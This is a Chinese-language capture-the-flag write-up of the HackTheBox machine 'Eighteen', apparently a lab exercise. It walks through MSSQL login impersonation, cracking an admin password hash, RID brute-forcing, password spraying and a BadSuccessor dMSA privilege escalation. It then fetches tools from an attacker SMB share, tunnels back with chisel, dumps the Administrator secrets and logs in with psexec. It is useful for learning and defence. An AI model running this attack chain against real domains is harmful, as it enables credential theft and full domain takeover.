目录
使用impacket-mssqlclient通过kevin凭据进行登录
由于靶机未开放Kerberos服务,使用nxc枚举靶机上的本地用户
使用evil-winrm通过上述凭据连接至靶机winrm服务
使用impacket-getST获取脚本创建的dMSA账户的TGS票据
使用impacket-secretsdump通过dMSA账户的TGS票据转储administrator账户的哈希密码
使用impacket-psexec通过administraotr哈希密码进行登录
连接至HTB服务器并启动靶机
靶机IP:10.10.11.95
分配IP:10.10.16.5
信息收集
使用rustscan对靶机TCP端口进行开放扫描
bash
rustscan -a 10.10.11.95 -t 5000 --ulimit 5000

使用nmap对靶机TCP开放端口进行版本、脚本扫描
bash
nmap -sS -p80,1433,5985 -sCV -Pn 10.10.11.95

使用nmap对靶机UDP端口进行开放扫描
bash
nmap -sU --top-ports 50 -Pn 10.10.11.95

使用nmap对靶机UDP开放端口进行版本、脚本、漏洞扫描
bash
nmap -sU -p53 -sCV --script=vuln -Pn 10.10.11.95

将靶机IP与靶机域名进行绑定解析
bash
echo '10.10.11.95 eighteen.htb' >> /etc/hosts
使用curl访问靶机80端口HTTP服务
bash
curl -I http://eighteen.htb/
┌──(root㉿kali)-[/home/kali/Desktop/tool/chisel]
└─# curl -I http://eighteen.htb/
HTTP/1.1 200 OK
Content-Length: 2253
Content-Type: text/html; charset=utf-8
Vary: Cookie
Server: Microsoft-IIS/10.0
Date: Tue, 09 Dec 2025 08:54:50 GMT
使用ffuf对靶机WebAPP进行路径FUZZ
bash
ffuf -u http://eighteen.htb/FUZZ -w dictionary/common.txt

使用浏览器进行访问

尝试注册一个账号

使用刚刚注册的账号登录该WebAPP

- 成功登入

- 点击右上角的Admin按钮,提示需要Admin用户权限

边界突破
使用sqlmap尝试对数据库进行简单自动化注入
bash
sqlmap -r req.txt --batch --dbs --dbms=mssql

- 结果就是什么也没有

使用ghauri再次进行尝试
bash
ghauri -r req.txt --batch --dbs --dbms mssql

使用impacket-mssqlclient通过kevin凭据进行登录
bash
impacket-mssqlclient eighteen.htb/'kevin':'iNa2we6haRj2gaw!'@10.10.11.95
- 枚举系统登录用户
bash
enum_logins

- 模拟appdev系统用户上下文
bash
exec_as_login appdev
- 枚举所有数据库
bash
enum_db
SQL (appdev appdev@master)> enum_db
name is_trustworthy_on
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
- 切换到financial_planner数据库并列出该数据库所有用户表
bash
use financial_planner;select name from sysobjects where xtype='U';
SQL (appdev appdev@master)> use financial_planner;
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)> select name from sysobjects where xtype='U';
name
users
incomes
expenses
allocations
analytics
visits
列出users表所有数据
bash
select * from users;
SQL (appdev appdev@financial_planner)> select * from users;
id full_name username email password_hash
is_admin created_at
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000AMtzteQIG7yAbZIa0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c
887133 1 2025-10-29 05:39:03

- 使用hashcat结合哈希关键字列出可能的哈希类型
bash
hashcat --help | grep -i PBKDF2 | grep -i SHA256

- 将该哈希直接扔给大模型,判断该哈希类型

- 使用hashcat查看该类型格式
bash
hashcat -m 10000 --example-hashes

哈希格式变换
- 原始哈希部分为十六进制格式,需要进行一次base64编码
bash
echo '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64 -w0
- 并将"pbkdf2:sha256:600000"中间的两个冒号,分别换成下划线、美元符
pbkdf2_sha256$600000
- 格式变更后的完整哈希
bash
echo 'pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > hash.txt
使用hashcat对哈希进行爆破
bash
hashcat -a 0 -m 10000 hash.txt ../dictionary/rockyou.txt

- 完整凭据
用户:admin
密码:iloveyou1
- 使用该凭据可以成功使用admin身份登录WebAPP,证明凭据可用

由于靶机未开放Kerberos服务,使用nxc枚举靶机上的本地用户
bash
nxc mssql 10.10.11.95 -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | grep 'EIGHTEEN' | cut -d'\' -f2 | tee users.txt

使用获取到的用户列表对靶机winrm服务进行密码喷洒
bash
nxc winrm 10.10.11.95 -u users.txt -p 'iloveyou1' --continue-on-success

- 获取到凭据
用户:adam.scott
密码:iloveyou1
使用evil-winrm通过上述凭据连接至靶机winrm服务
bash
evil-winrm -i 10.10.11.95 -u 'adam.scott' -p 'iloveyou1'

权限提升
查询该系统版本
bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
- 由输出可见,该系统版本为:Windows Server 2025 Datacenter
*Evil-WinRM* PS C:\Users\adam.scott\Documents> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Windows Server 2025 Datacenter
查询该系统位数
bash
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
- 由输出可见,该系统版本为:AMD64,即为x64位

- 在Google上检索该漏洞是否有权限提升漏洞

- 简单研读后,对该权限提升路径有以下解读,并且尝试利用:
当前用户对某个OU 拥有
CreateChild权限,且该OU允许创建msDS-ManagedServiceAccount类型对象(即 dMSA/gMSA)。攻击者在该 OU 中创建一个 dMSA 账户,该账户作为 AD 中的安全主体(Security Principal),默认拥有与普通用户类似的认证能力。
由于dMSA的密码由系统自动管理,但其身份可被用于 Kerberos 认证,攻击者可通过SMB 中继(Relay)或本地提取等方式获取其NTLM哈希或票据。
若该dMSA被显式加入高权限组(如 Domain Admins),或通过ACL滥用(如对域控计算机对象拥有写权限),即可直接执行高权限操作。
关键点:dMSA本身不是提权载体,而是利用其作为"合法账户"身份 + 目标环境中的错误配置(如过度委派、ACL 宽松)实现权限提升。
查询权限提升所需信息
- 先加载PowerView.ps1
bash
. .\PowerView.ps1
- 查看当前用户名
bash
whoami
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> whoami
eighteen\adam.scott
- 获取当前用户所在OU信息
bash
(Get-DomainUser -Identity $env:USERNAME).distinguishedname
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> (Get-DomainUser -Identity $env:USERNAME).distinguishedname
CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
- 查询完整主机名
bash
([System.Net.Dns]::GetHostEntry("localhost")).HostName
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> ([System.Net.Dns]::GetHostEntry("localhost")).HostName
DC01.eighteen.htb
在Github上检索dMSA权限提升脚本
- 检索关键词:BadSuccessor

控制靶机连接攻击机创建的SMB服务,以便传输权限提升脚本
- 在攻击机开启SMB服务器、chisel服务器
┌──(root㉿x0da6h)-[/home/kali/Desktop/temp]
└─# jobs
1\] running nohup openvpn --config lab_x0da6h.ovpn \> /dev/null \[2\] - running nohup impacket-smbserver temp . -smb2support 2\> /dev/null \[3\] + running nohup ../tool/chisel/chisel64 server -p 8888 --reverse 2\> /dev/null
- 控制靶机连接攻击机SMB服务器
bash
net use Z: \\10.10.16.23\temp
- 拷贝BadSuccessor利用脚本至本地
bash
copy Z:\\Invoke-BadSuccessor.ps1 .\
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> net use Z: \\10.10.16.23\temp
The command completed successfully.
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> copy Z:\\Invoke-BadSuccessor.ps1 .\
*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> ls
Directory: C:\Users\adam.scott\Music\x0da6h
Mode LastWriteTime Length Name
-a---- 12/22/2025 12:55 AM 25113 Invoke-BadSuccessor.ps1
- 加载该脚本
bash
. .\Invoke-BadSuccessor.ps1
- 执行该脚本主函数
bash
Invoke-BadSuccessor

- 由于攻击机无法直接访问域控,因此需要通过chisel做隧道,将该工具拷贝到靶机
bash
copy Z:\\chisel64.exe .\
- 连接至chisel服务器
bash
.\chisel64.exe client 10.10.16.23:8888 R:socks

向靶机时间进行同步
- 获取靶机UTC时间
bash
[DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")
*Evil-WinRM* PS C:\Users\adam.scott\Documents> [DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")
2025-12-26 13:04:40
- 在攻击机设置相同的时间
bash
date -s '2025-12-26 13:04:40'
使用impacket-getST获取脚本创建的dMSA账户的TGS票据
bash
proxychains4 getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'

使用impacket-secretsdump通过dMSA账户的TGS票据转储administrator账户的哈希密码
bash
KRB5CCNAME=/home/kali/Desktop/temp/'attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' proxychains4 impacket-secretsdump -k -no-pass DC01.eighteen.htb -just-dc-user Administrator

使用impacket-psexec通过administraotr哈希密码进行登录
bash
proxychains4 impacket-psexec eighteen.htb/administrator@DC01.eighteen.htb -no-pass -k -aesKey '1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2'

- 在C:\Users\Administrator\Desktop目录下找到flag
